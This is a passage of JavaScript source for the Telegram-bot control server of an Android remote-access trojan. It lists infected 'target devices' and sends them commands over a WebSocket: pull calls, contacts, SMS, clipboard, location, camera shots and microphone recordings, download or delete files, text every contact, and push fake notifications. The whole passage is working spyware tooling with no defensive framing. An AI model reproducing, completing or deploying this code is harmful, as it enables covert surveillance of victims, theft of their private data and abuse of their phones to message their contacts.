'• ᴍᴀᴋᴇ ꜱᴜʀᴇ ᴛʜᴇ ᴀᴘᴘʟɪᴄᴀᴛɪᴏɴ ɪꜱ ɪɴꜱᴛᴀʟʟᴇᴅ ᴏɴ ᴛʜᴇ ᴛᴀʀɢᴇᴛ ᴅᴇᴠɪᴄᴇ'
|
||||
)
|
||||
} else {
|
||||
let text = '°• 𝙇𝙞𝙨𝙩 𝙤𝙛 𝙘𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨 :\n\n'
|
||||
appClients.forEach(function (value, key, map) {
|
||||
text += `• ᴅᴇᴠɪᴄᴇ ᴍᴏᴅᴇʟ : <b>${value.model}</b>\n` +
|
||||
`• ʙᴀᴛᴛᴇʀʏ : <b>${value.battery}</b>\n` +
|
||||
`• ᴀɴᴅʀᴏɪᴅ ᴠᴇʀꜱɪᴏɴ : <b>${value.version}</b>\n` +
|
||||
`• ꜱᴄʀᴇᴇɴ ʙʀɪɢʜᴛɴᴇꜱꜱ : <b>${value.brightness}</b>\n` +
|
||||
`• ᴘʀᴏᴠɪᴅᴇʀ : <b>${value.provider}</b>\n\n`
|
||||
})
|
||||
appBot.sendMessage(id, text, {parse_mode: "HTML"})
|
||||
}
|
||||
}
|
||||
if (message.text == '𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙') {
|
||||
if (appClients.size == 0) {
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙉𝙤 𝙘𝙤𝙣𝙣𝙚𝙘𝙩𝙞𝙣𝙜 𝙙𝙚𝙫𝙞𝙘𝙚𝙨 𝙖𝙫𝙖𝙞𝙡𝙖𝙗𝙡𝙚\n\n' +
|
||||
'• ᴍᴀᴋᴇ ꜱᴜʀᴇ ᴛʜᴇ ᴀᴘᴘʟɪᴄᴀᴛɪᴏɴ ɪꜱ ɪɴꜱᴛᴀʟʟᴇᴅ ᴏɴ ᴛʜᴇ ᴛᴀʀɢᴇᴛ ᴅᴇᴠɪᴄᴇ'
|
||||
)
|
||||
} else {
|
||||
const deviceListKeyboard = []
|
||||
appClients.forEach(function (value, key, map) {
|
||||
deviceListKeyboard.push([{
|
||||
text: value.model,
|
||||
callback_data: 'device:' + key
|
||||
}])
|
||||
})
|
||||
appBot.sendMessage(id, '°• 𝙎𝙚𝙡𝙚𝙘𝙩 𝙙𝙚𝙫𝙞𝙘𝙚 𝙩𝙤 𝙚𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙚𝙣𝙙', {
|
||||
"reply_markup": {
|
||||
"inline_keyboard": deviceListKeyboard,
|
||||
},
|
||||
})
|
||||
}
|
||||
}
|
||||
} else {
|
||||
appBot.sendMessage(id, '°• 𝙋𝙚𝙧𝙢𝙞𝙨𝙨𝙞𝙤𝙣 𝙙𝙚𝙣𝙞𝙚𝙙')
|
||||
}
|
||||
})
|
||||
appBot.on("callback_query", (callbackQuery) => {
|
||||
const msg = callbackQuery.message;
|
||||
const data = callbackQuery.data
|
||||
const commend = data.split(':')[0]
|
||||
const uuid = data.split(':')[1]
|
||||
console.log(uuid)
|
||||
if (commend == 'device') {
|
||||
appBot.editMessageText(`°• 𝙎𝙚𝙡𝙚𝙘𝙩 𝙘𝙤𝙢𝙢𝙚𝙣𝙙 𝙛𝙤𝙧 𝙙𝙚𝙫𝙞𝙘𝙚 : <b>${appClients.get(data.split(':')[1]).model}</b>`, {
|
||||
width: 10000,
|
||||
chat_id: id,
|
||||
message_id: msg.message_id,
|
||||
reply_markup: {
|
||||
inline_keyboard: [
|
||||
[
|
||||
{text: '𝘼𝙥𝙥𝙨', callback_data: `apps:${uuid}`},
|
||||
{text: '𝘿𝙚𝙫𝙞𝙘𝙚 𝙞𝙣𝙛𝙤', callback_data: `device_info:${uuid}`}
|
||||
],
|
||||
[
|
||||
{text: '𝙂𝙚𝙩 𝙛𝙞𝙡𝙚', callback_data: `file:${uuid}`},
|
||||
{text: '𝘿𝙚𝙡𝙚𝙩𝙚 𝙛𝙞𝙡𝙚', callback_data: `delete_file:${uuid}`}
|
||||
],
|
||||
[
|
||||
{text: '𝘾𝙡𝙞𝙥𝙗𝙤𝙖𝙧𝙙', callback_data: `clipboard:${uuid}`},
|
||||
{text: '𝙈𝙞𝙘𝙧𝙤𝙥𝙝𝙤𝙣𝙚', callback_data: `microphone:${uuid}`},
|
||||
],
|
||||
[
|
||||
{text: '𝙈𝙖𝙞𝙣 𝙘𝙖𝙢𝙚𝙧𝙖', callback_data: `camera_main:${uuid}`},
|
||||
{text: '𝙎𝙚𝙡𝙛𝙞𝙚 𝙘𝙖𝙢𝙚𝙧𝙖', callback_data: `camera_selfie:${uuid}`}
|
||||
],
|
||||
[
|
||||
{text: '𝙇𝙤𝙘𝙖𝙩𝙞𝙤𝙣', callback_data: `location:${uuid}`},
|
||||
{text: '𝙏𝙤𝙖𝙨𝙩', callback_data: `toast:${uuid}`}
|
||||
],
|
||||
[
|
||||
{text: '𝘾𝙖𝙡𝙡𝙨', callback_data: `calls:${uuid}`},
|
||||
{text: '𝘾𝙤𝙣𝙩𝙖𝙘𝙩𝙨', callback_data: `contacts:${uuid}`}
|
||||
],
|
||||
[
|
||||
{text: '𝙑𝙞𝙗𝙧𝙖𝙩𝙚', callback_data: `vibrate:${uuid}`},
|
||||
{text: '𝙎𝙝𝙤𝙬 𝙣𝙤𝙩𝙞𝙛𝙞𝙘𝙖𝙩𝙞𝙤𝙣', callback_data: `show_notification:${uuid}`}
|
||||
],
|
||||
[
|
||||
{text: '𝙈𝙚𝙨𝙨𝙖𝙜𝙚𝙨', callback_data: `messages:${uuid}`},
|
||||
{text: '𝙎𝙚𝙣𝙙 𝙢𝙚𝙨𝙨𝙖𝙜𝙚', callback_data: `send_message:${uuid}`}
|
||||
],
|
||||
[
|
||||
{text: '𝙋𝙡𝙖𝙮 𝙖𝙪𝙙𝙞𝙤', callback_data: `play_audio:${uuid}`},
|
||||
{text: '𝙎𝙩𝙤𝙥 𝙖𝙪𝙙𝙞𝙤', callback_data: `stop_audio:${uuid}`},
|
||||
],
|
||||
[
|
||||
{
|
||||
text: '𝙎𝙚𝙣𝙙 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙩𝙤 𝙖𝙡𝙡 𝙘𝙤𝙣𝙩𝙖𝙘𝙩𝙨',
|
||||
callback_data: `send_message_to_all:${uuid}`
|
||||
}
|
||||
],
|
||||
]
|
||||
},
|
||||
parse_mode: "HTML"
|
||||
})
|
||||
}
|
||||
if (commend == 'calls') {
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == uuid) {
|
||||
ws.send('calls');
|
||||
}
|
||||
});
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (commend == 'contacts') {
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == uuid) {
|
||||
ws.send('contacts');
|
||||
}
|
||||
});
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (commend == 'messages') {
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == uuid) {
|
||||
ws.send('messages');
|
||||
}
|
||||
});
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (commend == 'apps') {
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == uuid) {
|
||||
ws.send('apps');
|
||||
}
|
||||
});
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (commend == 'device_info') {
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == uuid) {
|
||||
ws.send('device_info');
|
||||
}
|
||||
});
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (commend == 'clipboard') {
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == uuid) {
|
||||
ws.send('clipboard');
|
||||
}
|
||||
});
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (commend == 'camera_main') {
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == uuid) {
|
||||
ws.send('camera_main');
|
||||
}
|
||||
});
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (commend == 'camera_selfie') {
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == uuid) {
|
||||
ws.send('camera_selfie');
|
||||
}
|
||||
});
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (commend == 'location') {
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == uuid) {
|
||||
ws.send('location');
|
||||
}
|
||||
});
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (commend == 'vibrate') {
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == uuid) {
|
||||
ws.send('vibrate');
|
||||
}
|
||||
});
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (commend == 'stop_audio') {
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == uuid) {
|
||||
ws.send('stop_audio');
|
||||
}
|
||||
});
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (commend == 'send_message') {
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id, '°• 𝙋𝙡𝙚𝙖𝙨𝙚 𝙧𝙚𝙥𝙡𝙮 𝙩𝙝𝙚 𝙣𝙪𝙢𝙗𝙚𝙧 𝙩𝙤 𝙬𝙝𝙞𝙘𝙝 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙨𝙚𝙣𝙙 𝙩𝙝𝙚 𝙎𝙈𝙎\n\n' +
|
||||
'•ɪꜰ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ꜱᴇɴᴅ ꜱᴍꜱ ᴛᴏ ʟᴏᴄᴀʟ ᴄᴏᴜɴᴛʀʏ ɴᴜᴍʙᴇʀꜱ, ʏᴏᴜ ᴄᴀɴ ᴇɴᴛᴇʀ ᴛʜᴇ ɴᴜᴍʙᴇʀ ᴡɪᴛʜ ᴢᴇʀᴏ ᴀᴛ ᴛʜᴇ ʙᴇɢɪɴɴɪɴɢ, ᴏᴛʜᴇʀᴡɪꜱᴇ ᴇɴᴛᴇʀ ᴛʜᴇ ɴᴜᴍʙᴇʀ ᴡɪᴛʜ ᴛʜᴇ ᴄᴏᴜɴᴛʀʏ ᴄᴏᴅᴇ',
|
||||
{reply_markup: {force_reply: true}})
|
||||
currentUuid = uuid
|
||||
}
|
||||
if (commend == 'send_message_to_all') {
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙨𝙚𝙣𝙙 𝙩𝙤 𝙖𝙡𝙡 𝙘𝙤𝙣𝙩𝙖𝙘𝙩𝙨\n\n' +
|
||||
'• ʙᴇ ᴄᴀʀᴇꜰᴜʟ ᴛʜᴀᴛ ᴛʜᴇ ᴍᴇꜱꜱᴀɢᴇ ᴡɪʟʟ ɴᴏᴛ ʙᴇ ꜱᴇɴᴛ ɪꜰ ᴛʜᴇ ɴᴜᴍʙᴇʀ ᴏꜰ ᴄʜᴀʀᴀᴄᴛᴇʀꜱ ɪɴ ʏᴏᴜʀ ᴍᴇꜱꜱᴀɢᴇ ɪꜱ ᴍᴏʀᴇ ᴛʜᴀɴ ᴀʟʟᴏᴡᴇᴅ',
|
||||
{reply_markup: {force_reply: true}}
|
||||
)
|
||||
currentUuid = uuid
|
||||
}
|
||||
if (commend == 'file') {
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙥𝙖𝙩𝙝 𝙤𝙛 𝙩𝙝𝙚 𝙛𝙞𝙡𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙙𝙤𝙬𝙣𝙡𝙤𝙖𝙙\n\n' +
|
||||
'• ʏᴏᴜ ᴅᴏ ɴᴏᴛ ɴᴇᴇᴅ ᴛᴏ ᴇɴᴛᴇʀ ᴛʜᴇ ꜰᴜʟʟ ꜰɪʟᴇ ᴘᴀᴛʜ, ᴊᴜꜱᴛ ᴇɴᴛᴇʀ ᴛʜᴇ ᴍᴀɪɴ ᴘᴀᴛʜ. ꜰᴏʀ ᴇxᴀᴍᴘʟᴇ, ᴇɴᴛᴇʀ<b> DCIM/Camera </b> ᴛᴏ ʀᴇᴄᴇɪᴠᴇ ɢᴀʟʟᴇʀʏ ꜰɪʟᴇꜱ.',
|
||||
{reply_markup: {force_reply: true}, parse_mode: "HTML"}
|
||||
)
|
||||
currentUuid = uuid
|
||||
}
|
||||
if (commend == 'delete_file') {
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙥𝙖𝙩𝙝 𝙤𝙛 𝙩𝙝𝙚 𝙛𝙞𝙡𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙙𝙚𝙡𝙚𝙩𝙚\n\n' +
|
||||
'• ʏᴏᴜ ᴅᴏ ɴᴏᴛ ɴᴇᴇᴅ ᴛᴏ ᴇɴᴛᴇʀ ᴛʜᴇ ꜰᴜʟʟ ꜰɪʟᴇ ᴘᴀᴛʜ, ᴊᴜꜱᴛ ᴇɴᴛᴇʀ ᴛʜᴇ ᴍᴀɪɴ ᴘᴀᴛʜ. ꜰᴏʀ ᴇxᴀᴍᴘʟᴇ, ᴇɴᴛᴇʀ<b> DCIM/Camera </b> ᴛᴏ ᴅᴇʟᴇᴛᴇ ɢᴀʟʟᴇʀʏ ꜰɪʟᴇꜱ.',
|
||||
{reply_markup: {force_reply: true}, parse_mode: "HTML"}
|
||||
)
|
||||
currentUuid = uuid
|
||||
}
|
||||
if (commend == 'microphone') {
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙀𝙣𝙩𝙚𝙧 𝙝𝙤𝙬 𝙡𝙤𝙣𝙜 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙝𝙚 𝙢𝙞𝙘𝙧𝙤𝙥𝙝𝙤𝙣𝙚 𝙩𝙤 𝙗𝙚 𝙧𝙚𝙘𝙤𝙧𝙙𝙚𝙙\n\n' +
|
||||
'• ɴᴏᴛᴇ ᴛʜᴀᴛ ʏᴏᴜ ᴍᴜꜱᴛ ᴇɴᴛᴇʀ ᴛʜᴇ ᴛɪᴍᴇ ɴᴜᴍᴇʀɪᴄᴀʟʟʏ ɪɴ ᴜɴɪᴛꜱ ᴏꜰ ꜱᴇᴄᴏɴᴅꜱ',
|
||||
{reply_markup: {force_reply: true}, parse_mode: "HTML"}
|
||||
)
|
||||
currentUuid = uuid
|
||||
}
|
||||
if (commend == 'toast') {
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙩𝙝𝙖𝙩 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙖𝙥𝙥𝙚𝙖𝙧 𝙤𝙣 𝙩𝙝𝙚 𝙩𝙖𝙧𝙜𝙚𝙩 𝙙𝙚𝙫𝙞𝙘𝙚\n\n' +
|
||||
'• ᴛᴏᴀꜱᴛ ɪꜱ ᴀ ꜱʜᴏʀᴛ ᴍᴇꜱꜱᴀɢᴇ ᴛʜᴀᴛ ᴀᴘᴘᴇᴀʀꜱ ᴏɴ ᴛʜᴇ ᴅᴇᴠɪᴄᴇ ꜱᴄʀᴇᴇɴ ꜰᴏʀ ᴀ ꜰᴇᴡ ꜱᴇᴄᴏɴᴅꜱ',
|
||||
{reply_markup: {force_reply: true}, parse_mode: "HTML"}
|
||||
)
|
||||
currentUuid = uuid
|
||||
}
|
||||
if (commend == 'show_notification') {
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙖𝙥𝙥𝙚𝙖𝙧 𝙖𝙨 𝙣𝙤𝙩𝙞𝙛𝙞𝙘𝙖𝙩𝙞𝙤𝙣\n\n' +
|
||||
'• ʏᴏᴜʀ ᴍᴇꜱꜱᴀɢᴇ ᴡɪʟʟ ʙᴇ ᴀᴘᴘᴇᴀʀ ɪɴ ᴛᴀʀɢᴇᴛ ᴅᴇᴠɪᴄᴇ ꜱᴛᴀᴛᴜꜱ ʙᴀʀ ʟɪᴋᴇ ʀᴇɢᴜʟᴀʀ ɴᴏᴛɪꜰɪᴄᴀᴛɪᴏɴ',
|
||||
{reply_markup: {force_reply: true}, parse_mode: "HTML"}
|
||||
)
|
||||
currentUuid = uuid
|
||||
}
|
||||
if (commend == 'play_audio') {
|
||||
appBot.deleteMessage(id, msg.message_id)
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙖𝙪𝙙𝙞𝙤 𝙡𝙞𝙣𝙠 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙥𝙡𝙖𝙮\n\n' +
|
||||
'• ɴᴏᴛᴇ ᴛʜᴀᴛ ʏᴏᴜ ᴍᴜꜱᴛ ᴇɴᴛᴇʀ ᴛʜᴇ ᴅɪʀᴇᴄᴛ ʟɪɴᴋ ᴏꜰ ᴛʜᴇ ᴅᴇꜱɪʀᴇᴅ ꜱᴏᴜɴᴅ, ᴏᴛʜᴇʀᴡɪꜱᴇ ᴛʜᴇ ꜱᴏᴜɴᴅ ᴡɪʟʟ ɴᴏᴛ ʙᴇ ᴘʟᴀʏᴇᴅ',
|
||||
{reply_markup: {force_reply: true}, parse_mode: "HTML"}
|
||||
)
|
||||
currentUuid = uuid
|
||||
}
|
||||
});
|
||||
setInterval(function () {
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
ws.send('ping')
|
||||
});
|
||||
try {
|
||||
axios.get(address).then(r => "")
|
||||
} catch (e) {
|
||||
}
|
||||
}, 5000)
|
||||
appServer.listen(process.env.PORT || 8999);
|